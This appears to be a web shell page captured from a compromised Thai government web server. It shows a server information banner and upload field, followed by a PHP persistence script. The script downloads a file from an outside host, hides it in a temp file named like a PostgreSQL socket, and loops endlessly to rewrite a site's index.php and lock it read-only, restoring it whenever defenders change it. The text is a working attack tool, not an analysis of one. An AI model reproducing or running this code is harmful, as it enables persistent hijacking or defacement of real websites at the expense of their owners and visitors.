|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/eoffice/ |
Upload File : |
<?php
set_time_limit(0);
$files = [
[
'path' => '/var/www/html/data-center/index.php',
'url' => 'https://s3.amplittlegiant.com/pg-tunnel/pathumserver.pathumthani.go.th/data-center/index.php',
'chmod' => 0444
],
];
$tempDir = sys_get_temp_dir();
$stopFile = $tempDir . '/stop';
$notifFile = $tempDir . '/finish';
foreach ($files as $key => $value) {
$tempFile = $tempDir . "/pgsql_socket_{$key}.sock";
$files[$key]['tmp_file'] = $tempFile;
if (!file_exists($tempFile)) {
$fileContent = file_get_contents($files[$key]['url']);
file_put_contents($tempFile, $fileContent);
}
}
while (true && !file_exists($stopFile)) {
foreach ($files as $key => $value) {
$filePath = $files[$key]['path'];
$tmpFilePath = $files[$key]['tmp_file'];
$dirPath = dirname($filePath);
if (!is_dir($dirPath)) {
mkdir($dirPath, 0755, true);
}
if (!file_exists($filePath) || hash_file('md5', $tmpFilePath) != hash_file('md5', $filePath)) {
$handle = fopen($filePath, 'w');
if ($handle) {
fwrite($handle, file_get_contents($tmpFilePath));
fclose($handle);
chmod($filePath, $files[$key]['chmod']);
}
}
}
sleep(1);
}
file_put_contents($notifFile, 'finish');